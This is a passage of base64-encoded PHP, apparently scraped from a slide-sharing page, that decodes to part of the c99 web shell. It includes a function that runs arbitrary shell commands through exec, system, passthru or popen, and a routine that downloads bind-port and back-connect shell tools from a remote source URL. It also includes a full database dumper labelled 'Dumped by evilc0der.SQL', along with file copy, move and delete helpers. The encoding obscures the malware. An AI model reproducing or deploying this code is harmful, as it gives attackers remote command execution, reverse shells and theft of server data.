c29ydCk7fQ0KIGlmICghZW1wdHkoJHNxbF9zb3J0KSkge3NldGNvb2tpZSgic3FsX3NvcnQiLCRz cWxfc29ydCk7fQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cjJtaW5pIikpDQp7DQpmdW5j dGlvbiBzdHIybWluaSgkY29udGVudCwkbGVuKQ0Kew0KIGlmIChzdHJsZW4oJGNvbnRlbnQpID4g JGxlbikNCiB7DQogICRsZW4gPSBjZWlsKCRsZW4vMikgLSAyOw0KICByZXR1cm4gc3Vic3RyKCRj b250ZW50LCAwLCRsZW4pLiIuLi4iLnN1YnN0cigkY29udGVudCwtJGxlbik7DQogfQ0KIGVsc2Ug e3JldHVybiAkY29udGVudDt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19zaXpl IikpDQp7DQpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpDQp7DQogaWYgKCFpc19udW1lcmljKCRz
  4. 4. aXplKSkge3JldHVybiBGQUxTRTt9DQogZWxzZQ0KIHsNCiAgaWYgKCRzaXplID49IDEwNzM3NDE4 MjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwNzM3NDE4MjQqMTAwKS8xMDAgLiIgR0IiO30NCiAg ZWxzZWlmICgkc2l6ZSA+PSAxMDQ4NTc2KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDQ4NTc2KjEw MCkvMTAwIC4iIE1CIjt9DQogIGVsc2VpZiAoJHNpemUgPj0gMTAyNCkgeyRzaXplID0gcm91bmQo JHNpemUvMTAyNCoxMDApLzEwMCAuIiBLQiI7fQ0KICBlbHNlIHskc2l6ZSA9ICRzaXplIC4gIiBC Ijt9DQogIHJldHVybiAkc2l6ZTsNCiB9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNf Y29weV9kaXIiKSkNCnsNCmZ1bmN0aW9uIGZzX2NvcHlfZGlyKCRkLCR0KQ0Kew0KICRkID0gc3Ry X3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiBpZiAoc3Vic3RyKCRkLC0x KSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQog JGggPSBvcGVuZGlyKCRkKTsNCiB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkN CiB7DQogIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKQ0KICB7DQogICBpZiAoIWlz X2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBjb3B5KCRkLkRJUkVDVE9S WV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQ0KICAgZWxzZSB7JHJl dCA9IG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pOyBmc19jb3B5X2RpcigkZC5ESVJF Q1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGlmICgh JHJldCkge3JldHVybiAkcmV0O30NCiAgfQ0KIH0NCiBjbG9zZWRpcigkaCk7DQogcmV0dXJuIFRS VUU7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9vYmoiKSkNCnsNCmZ1bmN0 aW9uIGZzX2NvcHlfb2JqKCRkLCR0KQ0Kew0KICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RP UllfU0VQQVJBVE9SLCRkKTsNCiAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFS QVRPUiwkdCk7DQogaWYgKCFpc19kaXIoZGlybmFtZSgkdCkpKSB7bWtkaXIoZGlybmFtZSgkdCkp O30NCiBpZiAoaXNfZGlyKCRkKSkNCiB7DQogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9S WV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgaWYgKHN1YnN0cigk dCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7 fQ0KICByZXR1cm4gZnNfY29weV9kaXIoJGQsJHQpOw0KIH0NCiBlbHNlaWYgKGlzX2ZpbGUoJGQp KSB7cmV0dXJuIGNvcHkoJGQsJHQpO30NCiBlbHNlIHtyZXR1cm4gRkFMU0U7fQ0KfQ0KfQ0KaWYg KCFmdW5jdGlvbl9leGlzdHMoImZzX21vdmVfZGlyIikpDQp7DQpmdW5jdGlvbiBmc19tb3ZlX2Rp cigkZCwkdCkNCnsNCiAkaCA9IG9wZW5kaXIoJGQpOw0KIGlmICghaXNfZGlyKCR0KSkge21rZGly KCR0KTt9DQogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpDQogew0KICBpZiAo KCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkNCiAgew0KICAgJHJldCA9IFRSVUU7DQogICBp ZiAoIWlzX2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBjb3B5KCRkLkRJ UkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQ0KICAgZWxz ZSB7aWYgKG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pIGFuZCBmc19jb3B5X2Rpcigk ZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJl dCA9IEZBTFNFO319DQogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogIH0NCiB9DQogY2xv c2VkaXIoJGgpOw0KIHJldHVybiBUUlVFOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZz X21vdmVfb2JqIikpDQp7DQpmdW5jdGlvbiBmc19tb3ZlX29iaigkZCwkdCkNCnsNCiAkZCA9IHN0 cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogJHQgPSBzdHJfcmVwbGFj ZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOw0KIGlmIChpc19kaXIoJGQpKQ0KIHsNCiAg aWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9S WV9TRVBBUkFUT1I7fQ0KICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9S KSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogIHJldHVybiBmc19tb3ZlX2RpcigkZCwk dCk7DQogfQ0KIGVsc2VpZiAoaXNfZmlsZSgkZCkpDQogew0KICBpZihjb3B5KCRkLCR0KSkge3Jl dHVybiB1bmxpbmsoJGQpO30NCiAgZWxzZSB7dW5saW5rKCR0KTsgcmV0dXJuIEZBTFNFO30NCiB9 DQogZWxzZSB7cmV0dXJuIEZBTFNFO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19y bWRpciIpKQ0Kew0KZnVuY3Rpb24gZnNfcm1kaXIoJGQpDQp7DQogJGggPSBvcGVuZGlyKCRkKTsN CiB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkNCiB7DQogIGlmICgoJG8gIT0g Ii4iKSBhbmQgKCRvICE9ICIuLiIpKQ0KICB7DQogICBpZiAoIWlzX2RpcigkZC4kbykpIHt1bmxp bmsoJGQuJG8pO30NCiAgIGVsc2Uge2ZzX3JtZGlyKCRkLiRvLkRJUkVDVE9SWV9TRVBBUkFUT1Ip OyBybWRpcigkZC4kbyk7fQ0KICB9DQogfQ0KIGNsb3NlZGlyKCRoKTsNCiBybWRpcigkZCk7DQog cmV0dXJuICFpc19kaXIoJGQpOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3Jtb2Jq IikpDQp7DQpmdW5jdGlvbiBmc19ybW9iaigkbykNCnsNCiAkbyA9IHN0cl9yZXBsYWNlKCJcXCIs RElSRUNUT1JZX1NFUEFSQVRPUiwkbyk7DQogaWYgKGlzX2RpcigkbykpDQogew0KICBpZiAoc3Vi c3RyKCRvLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JG8gLj0gRElSRUNUT1JZX1NFUEFS QVRPUjt9DQogIHJldHVybiBmc19ybWRpcigkbyk7DQogfQ0KIGVsc2VpZiAoaXNfZmlsZSgkbykp IHtyZXR1cm4gdW5saW5rKCRvKTt9DQogZWxzZSB7cmV0dXJuIEZBTFNFO30NCn0NCn0NCmlmICgh ZnVuY3Rpb25fZXhpc3RzKCJteXNoZWxsZXhlYyIpKQ0Kew0KZnVuY3Rpb24gbXlzaGVsbGV4ZWMo JGNtZCkNCnsNCiBnbG9iYWwgJGRpc2FibGVmdW5jOw0KICRyZXN1bHQgPSAiIjsNCiBpZiAoIWVt cHR5KCRjbWQpKQ0KIHsNCiAgaWYgKGlzX2NhbGxhYmxlKCJleGVjIikgYW5kICFpbl9hcnJheSgi ZXhlYyIsJGRpc2FibGVmdW5jKSkge2V4ZWMoJGNtZCwkcmVzdWx0KTsgJHJlc3VsdCA9IGpvaW4o
  5. 5. IlxuIiwkcmVzdWx0KTt9DQogIGVsc2VpZiAoKCRyZXN1bHQgPSBgJGNtZGApICE9PSBGQUxTRSkg e30NCiAgZWxzZWlmIChpc19jYWxsYWJsZSgic3lzdGVtIikgYW5kICFpbl9hcnJheSgic3lzdGVt IiwkZGlzYWJsZWZ1bmMpKSB7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBz eXN0ZW0oJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBl Y2hvICR2O30NCiAgZWxzZWlmIChpc19jYWxsYWJsZSgicGFzc3RocnUiKSBhbmQgIWluX2FycmF5 KCJwYXNzdGhydSIsJGRpc2FibGVmdW5jKSkgeyR2ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2Jf Y2xlYW4oKTsgcGFzc3RocnUoJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBv Yl9jbGVhbigpOyBlY2hvICR2O30NCiAgZWxzZWlmIChpc19yZXNvdXJjZSgkZnAgPSBwb3Blbigk Y21kLCJyIikpKQ0KICB7DQogICAkcmVzdWx0ID0gIiI7DQogICB3aGlsZSghZmVvZigkZnApKSB7 JHJlc3VsdCAuPSBmcmVhZCgkZnAsMTAyNCk7fQ0KICAgcGNsb3NlKCRmcCk7DQogIH0NCiB9DQog cmV0dXJuICRyZXN1bHQ7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidGFic29ydCIpKSB7 ZnVuY3Rpb24gdGFic29ydCgkYSwkYikge2dsb2JhbCAkdjsgcmV0dXJuIHN0cm5hdGNtcCgkYVsk dl0sICRiWyR2XSk7fX0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3Blcm1zIikpDQp7DQpm dW5jdGlvbiB2aWV3X3Blcm1zKCRtb2RlKQ0Kew0KIGlmICgoJG1vZGUgJiAweEMwMDApID09PSAw eEMwMDApIHskdHlwZSA9ICJzIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQw MDApIHskdHlwZSA9ICJkIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDAp IHskdHlwZSA9ICJsIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHsk dHlwZSA9ICItIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlw ZSA9ICJiIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9 ICJjIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdHlwZSA9ICJw Ijt9DQogZWxzZSB7JHR5cGUgPSAiPyI7fQ0KDQogJG93bmVyWyJyZWFkIl0gPSAoJG1vZGUgJiAw MDQwMCk/InIiOiItIjsNCiAkb3duZXJbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDIwMCk/InciOiIt IjsNCiAkb3duZXJbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMTAwKT8ieCI6Ii0iOw0KICRncm91 cFsicmVhZCJdID0gKCRtb2RlICYgMDAwNDApPyJyIjoiLSI7DQogJGdyb3VwWyJ3cml0ZSJdID0g KCRtb2RlICYgMDAwMjApPyJ3IjoiLSI7DQogJGdyb3VwWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAw MDAxMCk/IngiOiItIjsNCiAkd29ybGRbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDA0KT8iciI6Ii0i Ow0KICR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKT8gInciOiItIjsNCiAkd29ybGRb ImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKT8ieCI6Ii0iOw0KDQogaWYgKCRtb2RlICYgMHg4 MDApIHskb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoi UyI7fQ0KIGlmICgkbW9kZSAmIDB4NDAwKSB7JGdyb3VwWyJleGVjdXRlIl0gPSAoJGdyb3VwWyJl eGVjdXRlIl0gPT0gIngiKT8icyI6IlMiO30NCiBpZiAoJG1vZGUgJiAweDIwMCkgeyR3b3JsZFsi ZXhlY3V0ZSJdID0gKCR3b3JsZFsiZXhlY3V0ZSJdID09ICJ4Iik/InQiOiJUIjt9DQoNCiByZXR1 cm4gJHR5cGUuam9pbigiIiwkb3duZXIpLmpvaW4oIiIsJGdyb3VwKS5qb2luKCIiLCR3b3JsZCk7 DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSBhbmQgIWluX2Fy cmF5KCJwb3NpeF9nZXRwd3VpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldHB3 dWlkKCR1aWQpIHtyZXR1cm4gRkFMU0U7fX0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9n ZXRncmdpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldGdyZ2lkIiwkZGlzYWJsZWZ1bmMpKSB7 ZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJGdpZCkge3JldHVybiBGQUxTRTt9fQ0KaWYgKCFmdW5j dGlvbl9leGlzdHMoInBvc2l4X2tpbGwiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9raWxsIiwkZGlz YWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfa2lsbCgkZ2lkKSB7cmV0dXJuIEZBTFNFO319DQpp ZiAoIWZ1bmN0aW9uX2V4aXN0cygicGFyc2VfcGVybXMiKSkNCnsNCmZ1bmN0aW9uIHBhcnNlX3Bl cm1zKCRtb2RlKQ0Kew0KIGlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdCA9ICJz Ijt9DQogZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdCA9ICJkIjt9DQog ZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdCA9ICJsIjt9DQogZWxzZWlm ICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdCA9ICItIjt9DQogZWxzZWlmICgoJG1v ZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdCA9ICJiIjt9DQogZWxzZWlmICgoJG1vZGUgJiAw eDIwMDApID09PSAweDIwMDApIHskdCA9ICJjIjt9DQogZWxzZWlmICgoJG1vZGUgJiAweDEwMDAp ID09PSAweDEwMDApIHskdCA9ICJwIjt9DQogZWxzZSB7JHQgPSAiPyI7fQ0KICRvWyJyIl0gPSAo JG1vZGUgJiAwMDQwMCkgPiAwOyAkb1sidyJdID0gKCRtb2RlICYgMDAyMDApID4gMDsgJG9bIngi XSA9ICgkbW9kZSAmIDAwMTAwKSA+IDA7DQogJGdbInIiXSA9ICgkbW9kZSAmIDAwMDQwKSA+IDA7 ICRnWyJ3Il0gPSAoJG1vZGUgJiAwMDAyMCkgPiAwOyAkZ1sieCJdID0gKCRtb2RlICYgMDAwMTAp ID4gMDsNCiAkd1siciJdID0gKCRtb2RlICYgMDAwMDQpID4gMDsgJHdbInciXSA9ICgkbW9kZSAm IDAwMDAyKSA+IDA7ICR3WyJ4Il0gPSAoJG1vZGUgJiAwMDAwMSkgPiAwOw0KIHJldHVybiBhcnJh eSgidCI9PiR0LCJvIj0+JG8sImciPT4kZywidyI9PiR3KTsNCn0NCn0NCmlmICghZnVuY3Rpb25f ZXhpc3RzKCJwYXJzZXNvcnQiKSkNCnsNCmZ1bmN0aW9uIHBhcnNlc29ydCgkc29ydCkNCnsNCiAk b25lID0gaW50dmFsKCRzb3J0KTsNCiAkc2Vjb25kID0gc3Vic3RyKCRzb3J0LC0xKTsNCiBpZiAo JHNlY29uZCAhPSAiZCIpIHskc2Vjb25kID0gImEiO30NCiByZXR1cm4gYXJyYXkoJG9uZSwkc2Vj b25kKTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3Blcm1zX2NvbG9yIikpDQp7 DQpmdW5jdGlvbiB2aWV3X3Blcm1zX2NvbG9yKCRvKQ0Kew0KIGlmICghaXNfcmVhZGFibGUoJG8p
  6. 6. KSB7cmV0dXJuICI8Zm9udCBjb2xvcj1yZWQ+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8 L2ZvbnQ+Ijt9DQogZWxzZWlmICghaXNfd3JpdGFibGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xv cj13aGl0ZT4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30NCiBlbHNlIHty ZXR1cm4gIjxmb250IGNvbG9yPWdyZWVuPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9m b250PiI7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OWdldHNvdXJjZSIpKQ0Kew0K ZnVuY3Rpb24gYzk5Z2V0c291cmNlKCRmbikNCnsNCiBnbG9iYWwgJGM5OXNoX3NvdXJjZXN1cmw7 DQogJGFycmF5ID0gYXJyYXkoDQogICJjOTlzaF9iaW5kcG9ydC5wbCIgPT4gImM5OXNoX2JpbmRw b3J0X3BsLnR4dCIsDQogICJjOTlzaF9iaW5kcG9ydC5jIiA9PiAiYzk5c2hfYmluZHBvcnRfYy50 eHQiLA0KICAiYzk5c2hfYmFja2Nvbm4ucGwiID0+ICJjOTlzaF9iYWNrY29ubl9wbC50eHQiLA0K ICAiYzk5c2hfYmFja2Nvbm4uYyIgPT4gImM5OXNoX2JhY2tjb25uX2MudHh0IiwNCiAgImM5OXNo X2RhdGFwaXBlLnBsIiA9PiAiYzk5c2hfZGF0YXBpcGVfcGwudHh0IiwNCiAgImM5OXNoX2RhdGFw aXBlLmMiID0+ICJjOTlzaF9kYXRhcGlwZV9jLnR4dCIsDQogKTsNCiAkbmFtZSA9ICRhcnJheVsk Zm5dOw0KIGlmICgkbmFtZSkge3JldHVybiBmaWxlX2dldF9jb250ZW50cygkYzk5c2hfc291cmNl c3VybC4kbmFtZSk7fQ0KIGVsc2Uge3JldHVybiBGQUxTRTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9u X2V4aXN0cygibXlzcWxfZHVtcCIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfZHVtcCgkc2V0KQ0Kew0K IGdsb2JhbCAkc2h2ZXI7DQogJHNvY2sgPSAkc2V0WyJzb2NrIl07DQogJGRiID0gJHNldFsiZGIi XTsNCiAkcHJpbnQgPSAkc2V0WyJwcmludCJdOw0KICRubDJiciA9ICRzZXRbIm5sMmJyIl07DQog JGZpbGUgPSAkc2V0WyJmaWxlIl07DQogJGFkZF9kcm9wID0gJHNldFsiYWRkX2Ryb3AiXTsNCiAk dGFicyA9ICRzZXRbInRhYnMiXTsNCiAkb25seXRhYnMgPSAkc2V0WyJvbmx5dGFicyJdOw0KICRy ZXQgPSBhcnJheSgpOw0KICRyZXRbImVyciJdID0gYXJyYXkoKTsNCiBpZiAoIWlzX3Jlc291cmNl KCRzb2NrKSkge2VjaG8oIkVycm9yOiBcJHNvY2sgaXMgbm90IHZhbGlkIHJlc291cmNlLiIpO30N CiBpZiAoZW1wdHkoJGRiKSkgeyRkYiA9ICJkYiI7fQ0KIGlmIChlbXB0eSgkcHJpbnQpKSB7JHBy aW50ID0gMDt9DQogaWYgKGVtcHR5KCRubDJicikpIHskbmwyYnIgPSAwO30NCiBpZiAoZW1wdHko JGFkZF9kcm9wKSkgeyRhZGRfZHJvcCA9IFRSVUU7fQ0KIGlmIChlbXB0eSgkZmlsZSkpDQogew0K ICAkZmlsZSA9ICR0bXBkaXIuImR1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRkYi4i XyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7DQogfQ0KIGlmICghaXNfYXJyYXkoJHRhYnMp KSB7JHRhYnMgPSBhcnJheSgpO30NCiBpZiAoZW1wdHkoJGFkZF9kcm9wKSkgeyRhZGRfZHJvcCA9 IFRSVUU7fQ0KIGlmIChzaXplb2YoJHRhYnMpID09IDApDQogew0KICAvLyByZXRyaXZlIHRhYmxl cy1saXN0DQogICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMgRlJPTSAiLiRkYiwgJHNv Y2spOw0KICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7d2hpbGUgKCRyb3cgPSBteXNx bF9mZXRjaF9yb3coJHJlcykpIHskdGFic1tdID0gJHJvd1swXTt9fQ0KIH0NCiAkb3V0ID0gIiMg RHVtcGVkIGJ5IGV2aWxjMGRlci5TUUwgdi4gIi4kc2h2ZXIuIg0KIyBIb21lIHBhZ2U6IGh0dHA6 Ly9zZWN1cml0eXByb2JlLm5ldA0KIw0KIyBIb3N0IHNldHRpbmdzOg0KIyBNeVNRTCB2ZXJzaW9u OiAoIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iKSBydW5uaW5nIG9uICIuZ2V0ZW52KCJTRVJW RVJfQUREUiIpLiIgKCIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIpIi4iDQojIERhdGU6ICIuZGF0 ZSgiZC5tLlkgSDppOnMiKS4iDQojIERCOiBcIiIuJGRiLiJcIg0KIy0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIjsNCiAkYyA9IGNvdW50 KCRvbmx5dGFicyk7DQogZm9yZWFjaCgkdGFicyBhcyAkdGFiKQ0KIHsNCiAgaWYgKChpbl9hcnJh eSgkdGFiLCRvbmx5dGFicykpIG9yICghJGMpKQ0KICB7DQogICBpZiAoJGFkZF9kcm9wKSB7JG91 dCAuPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYCIuJHRhYi4iYDtcbiI7fQ0KICAgLy8gcmVjaWV2 ZSBxdWVyeSBmb3IgY3JlYXRlIHRhYmxlIHN0cnVjdHVyZQ0KICAgJHJlcyA9IG15c3FsX3F1ZXJ5 KCJTSE9XIENSRUFURSBUQUJMRSBgIi4kdGFiLiJgIiwgJHNvY2spOw0KICAgaWYgKCEkcmVzKSB7 JHJldFsiZXJyIl1bXSA9IG15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICBlbHNlDQogICB7DQogICAg JHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzKTsNCiAgICAkb3V0IC49ICRyb3dbIjEiXS4iO1xu XG4iOw0KICAgIC8vIHJlY2lldmUgdGFibGUgdmFyaWFibGVzDQogICAgJHJlcyA9IG15c3FsX3F1 ZXJ5KCJTRUxFQ1QgKiBGUk9NIGAkdGFiYCIsICRzb2NrKTsNCiAgICBpZiAobXlzcWxfbnVtX3Jv d3MoJHJlcykgPiAwKQ0KICAgIHsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3Nv YygkcmVzKSkNCiAgICAgew0KICAgICAgJGtleXMgPSBpbXBsb2RlKCJgLCBgIiwgYXJyYXlfa2V5 cygkcm93KSk7DQogICAgICAkdmFsdWVzID0gYXJyYXlfdmFsdWVzKCRyb3cpOw0KICAgICAgZm9y ZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkdik7fQ0K ICAgICAgJHZhbHVlcyA9IGltcGxvZGUoIicsICciLCAkdmFsdWVzKTsNCiAgICAgICRzcWwgPSAi SU5TRVJUIElOVE8gYCR0YWJgKGAiLiRrZXlzLiJgKSBWQUxVRVMgKCciLiR2YWx1ZXMuIicpO1xu IjsNCiAgICAgICRvdXQgLj0gJHNxbDsNCiAgICAgfQ0KICAgIH0NCiAgIH0NCiAgfQ0KIH0NCiAk b3V0IC49ICIjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG5cbiI7DQogaWYgKCRmaWxlKQ0KIHsN CiAgJGZwID0gZm9wZW4oJGZpbGUsICJ3Iik7DQogIGlmICghJGZwKSB7JHJldFsiZXJyIl1bXSA9 IDI7fQ0KICBlbHNlDQogIHsNCiAgIGZ3cml0ZSAoJGZwLCAkb3V0KTsNCiAgIGZjbG9zZSAoJGZw KTsNCiAgfQ0KIH0NCiBpZiAoJHByaW50KSB7aWYgKCRubDJicikge2VjaG8gbmwyYnIoJG91dCk7 fSBlbHNlIHtlY2hvICRvdXQ7fX0NCiByZXR1cm4gJG91dDsNCn0NCn0NCmlmICghZnVuY3Rpb25f
  7. 7. ZXhpc3RzKCJteXNxbF9idWlsZHdoZXJlIikpDQp7DQpmdW5jdGlvbiBteXNxbF9idWlsZHdoZXJl KCRhcnJheSwkc2VwPSIgYW5kIiwkZnVuY3RzPWFycmF5KCkpDQp7DQogaWYgKCFpc19hcnJheSgk YXJyYXkpKSB7JGFycmF5ID0gYXJyYXkoKTt9DQogJHJlc3VsdCA9ICIiOw0KIGZvcmVhY2goJGFy cmF5IGFzICRrPT4kdikNCiB7DQogICR2YWx1ZSA9ICIiOw0KICBpZiAoIWVtcHR5KCRmdW5jdHNb JGtdKSkgeyR2YWx1ZSAuPSAkZnVuY3RzWyRrXS4iKCI7fQ0KICAkdmFsdWUgLj0gIiciLmFkZHNs YXNoZXMoJHYpLiInIjsNCiAgaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpIHskdmFsdWUgLj0gIiki O30NCiAgJHJlc3VsdCAuPSAiYCIuJGsuImAgPSAiLiR2YWx1ZS4kc2VwOw0KIH0NCiAkcmVzdWx0 ID0gc3Vic3RyKCRyZXN1bHQsMCxzdHJsZW4oJHJlc3VsdCktc3RybGVuKCRzZXApKTsNCiByZXR1 cm4gJHJlc3VsdDsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9mZXRjaF9hbGwi KSkNCnsNCmZ1bmN0aW9uIG15c3FsX2ZldGNoX2FsbCgkcXVlcnksJHNvY2spDQp7DQogaWYgKCRz b2NrKSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkc29jayk7fQ0KIGVsc2UgeyRyZXN1 bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpO30NCiAkYXJyYXkgPSBhcnJheSgpOw0KIHdoaWxlICgk cm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskYXJyYXlbXSA9ICRyb3c7fQ0KIG15 c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KIHJldHVybiAkYXJyYXk7DQp9DQp9DQppZiAoIWZ1 bmN0aW9uX2V4aXN0cygibXlzcWxfc21hcnRlcnJvciIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfc21h cnRlcnJvcigkdHlwZSwkc29jaykNCnsNCiBpZiAoJHNvY2spIHskZXJyb3IgPSBteXNxbF9lcnJv cigkc29jayk7fQ0KIGVsc2UgeyRlcnJvciA9IG15c3FsX2Vycm9yKCk7fQ0KICRlcnJvciA9IGh0 bWxzcGVjaWFsY2hhcnMoJGVycm9yKTsNCiByZXR1cm4gJGVycm9yOw0KfQ0KfQ0KaWYgKCFmdW5j dGlvbl9leGlzdHMoIm15c3FsX3F1ZXJ5X2Zvcm0iKSkNCnsNCmZ1bmN0aW9uIG15c3FsX3F1ZXJ5 X2Zvcm0oKQ0Kew0KIGdsb2JhbCAkc3VibWl0LCRzcWxfYWN0LCRzcWxfcXVlcnksJHNxbF9xdWVy eV9yZXN1bHQsJHNxbF9jb25maXJtLCRzcWxfcXVlcnlfZXJyb3IsJHRibF9zdHJ1Y3Q7DQogJHNx 